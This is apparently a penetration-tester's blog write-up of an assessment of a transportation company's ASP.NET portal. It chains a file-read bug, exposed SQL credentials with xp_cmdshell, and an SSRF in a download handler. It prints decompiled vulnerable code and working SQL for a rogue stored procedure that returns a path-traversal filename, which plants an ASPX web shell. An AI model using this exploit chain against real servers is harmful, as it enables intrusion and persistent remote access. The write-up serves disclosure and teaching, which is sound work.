SSRF till i die
Recently, for my internship, I was doing a security assessment for a transportation company, I discovered a chain of bugs that I though was interesting to explain and share.
Initial access
This one is rather straightforward, when I was doing web discovery I discovered a page named Download_Class.aspx and that takes as a parameter “nom_fichier” (’file_name’), I immediately tried to read interesting files like web.config, and bingo !
In the main web.config file, i’ve found the SQL creds, and luckily, port 1433 was open and i was SA :
‘xp_cmdshell’ was enabled so i have the ability to execute commands as ‘mssqlserver’ :
This was already nice, but a security assessment is not only about getting one RCE, but to find as many as possible. So I went deeper and started looking for the source code and tried to find functions that I didn’t find during the recon.
By using the first RCE, I found a file named ‘Portail.dll’ which contained the full source code of every pages and function in the app.
Analysis of the source code
As it was dotnet and not obfuscated, dnSpy went Brrrr.
I went to look for the source code of the pages containing “Download” as the first vuln was in a Downloading page.
In the source of Down_SVP we have this code :
namespace [CENSORED].Pages
{
public class Downloader_SVP : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
context.Response.Clear();
context.Request.QueryString["numid"].Split(new char[]
{
'|'
});
context.Request.QueryString["NameFile"].Split(new char[]
{
'|'
});
bool flag = context.Request.QueryString["Commande"] != null;
string strTYPE = context.Request.QueryString["TYPE"];
string strMode = context.Request.QueryString["Mode"];
string strIP = context.Request.QueryString["IP"];
string strNomBdd = context.Request.QueryString["NomBdd"];
string strUser = context.Request.QueryString["User"];
string strMDP = context.Request.QueryString["MDP"];
string gedhci = context.Request.QueryString["GEDHCI"];
if (!flag || strTYPE == null)
{
string text = context.Request.QueryString["numid"];
string strFileName = context.Request.QueryString["NameFile"].Replace(" ", "_");
strFileName = this.ConvertirChaineSansAccentFOR(strFileName);
context.Response.ContentType = "application/octet-stream";
context.Response.AddHeader("Content-Disposition", "attachment; filename=" + strFileName);
string strpathFile = Down_SVP.GetFic(text.Trim(), strMode, gedhci, strIP, strNomBdd, strUser, strMDP, null);
context.Response.Flush();
if (strpathFile != null)
{
context.Response.WriteFile(strpathFile);
}
}
}
public static string GetFic(string numid, string mode, string GEDHCI, string IP, string nomBdd, string User, string MDP, string InstanceSQL = null)
{
string result;
try
{
SqlConnection conn = new SqlConnection();
if (IP == null && IP == "")
{
conn = DATA_ACCESS.Connexion_SQL_WebConf();
}
else
{
conn = DATA_ACCESS.Connexion_SQL_Specifique(IP, nomBdd, User, MDP);
}
conn.Open();
SqlCommand sqlCommand = conn.CreateCommand();
sqlCommand.CommandType = CommandType.StoredProcedure;
sqlCommand.CommandText = "WEB_GetFichier";
sqlCommand.Parameters.Add("@MODE", SqlDbType.Char).Value = mode;
sqlCommand.Parameters.Add("@NumId", SqlDbType.BigInt).Value = numid;
sqlCommand.Parameters.Add("@GEDHCI", SqlDbType.BigInt).Value = Convert.ToInt32(GEDHCI);
SqlDataReader monReader = sqlCommand.ExecuteReader();
monReader.Read();
if (monReader.HasRows)
{
byte[] pdf = (byte[])monReader["DONNEEI"];
string strNomFic = monReader["NOMFICC"].ToString();
conn.Close();
MemoryStream stream = new MemoryStream();
stream.Write(pdf, 0, pdf.Length);
string strPathApplication = HttpContext.Current.Server.MapPath("~/");
string text = string.Concat(new string[]
{
strPathApplication,
"DOCTEMP\\",
Guid.NewGuid().ToString(),
"_",
strNomFic.Trim()
});
FileStream myFileStream = File.OpenWrite(text);
stream.WriteTo(myFileStream);
myFileStream.Close();
result = text;
}
else
{
result = null;
}
}
catch (Exception e)
{
Console.Write(e.Message);
DATA_ACCESS.Erreur_Insertion("", "Downloader", IP + " " + nomBdd + " GetFic", e.Message, e.Source, e.StackTrace);
result = null;
}
return result;
Let’s break it down a bit :
The ProcessRequest() allows us to discover the parameters of the page, for a successful execution of the request we need to have the parameters numid, NameFile, TYPE, Mode, IP, NomBdd, User, MDP and GEDHCI.
Basically the Handler cleans the parameters to prevent special chars using ‘ConvertirChaineSansAccentFOR()’ (which i’ve removed from the code because it’s not that interesting) and then return the content of the GetFic() as an attachement file.
Now, for the GetFic() :
If ‘IP’ parameter is not provided in the request it will use the function Connexion_SQL_WebConf(), which is a function in the code that is used to connect to an SQL server using the data hardcoded in the web.config file found earlier.
If ‘IP’ isn’t provided it use Connexion_SQL_Specifique(), which is just a helper function that concatenate the parameters passed to the function to form a valid SQL connection string.
After that it open the connection, and calls a stored procedure named ‘WEB_GetFichier’ and pass the parameters of the request to it.
It then read the content returned by the server, and store it into a file, the file path is the concatenation of strPathApplication + “DOCTEMP\” + randomguid + “” + our_filename_returned_by_the_server it then return it so it can be read by the Request Handler.
The vulnerability
Now that we understood the source code, we can see that a malicious user could pass as parameter a server controlled by himself and return a malicious file, if additionally the file name is malformed, it can lead to a path traversal, allowing the malicious user to upload a malicious file anywhere on the server. Also according to the official documentation, the OpenWrite method could overwrite a file if it has sufficient permissions which not only allow an attacker to create new file, but also overwrite legitimate file to, for example, backdoor it.
POCing and exploitation
To exploit this we need to setup a MSSQL server, and configure it so the script could access it and process what is returned.
First we need to setup a stored procedure that will return what we want :
CREATE PROCEDURE WEB_GetFichier
@MODE char(10),
@NumId bigint,
@GEDHCI bigint
AS
BEGIN
-- Instead of doing any actual work, just return the data of our file
SELECT
CONVERT(varbinary(max), '<html><h1>POCed</html>') AS DONNEEI,
'\\..\\..\\poc.html' AS NOMFICC
END;
This stored procedure doesn’t take into account all the parameters and return always the same thing, whatever are the params. So after making the query we have :
It works ! I’ve queried my MSSQL server and successfully uploaded my file !
Now we need to eventually get a shell, for this we need to upload an .aspx file, as the server doesn’t support PHP.
There are multiple ways to pass a large and complex file to our stored procedure. I choose to create a function in my DB to decode b64 :
CREATE FUNCTION [dbo].[fn_base64_decode] (@base64_text VARCHAR(MAX))
RETURNS VARBINARY(MAX)
AS
BEGIN
RETURN (
SELECT CAST('' AS XML).value('xs:base64Binary(sql:variable("@base64_text"))', 'VARBINARY(MAX)')
);
END
After that we update the WEB_GetFichier procedure :
ALTER PROCEDURE WEB_GetFichier
@MODE char(10),
@NumId bigint,
@GEDHCI bigint
AS
BEGIN
-- Instead of doing any actual work, just return the data of our file
SELECT
dbo.fn_base64_decode('our_b64_aspx_shell') AS DONNEEI,
'\\..\\..\\poc.aspx' AS NOMFICC
END;
And….
It works !
We have successfully uploaded our shell and we are on a service account.
Conclusion
It was quite a fun SSRF to find and POC, usually SSRFs are more about accessing/exposing internal WebServices or pages, but weaponizing them like this is less common but quite cool to do 🙂.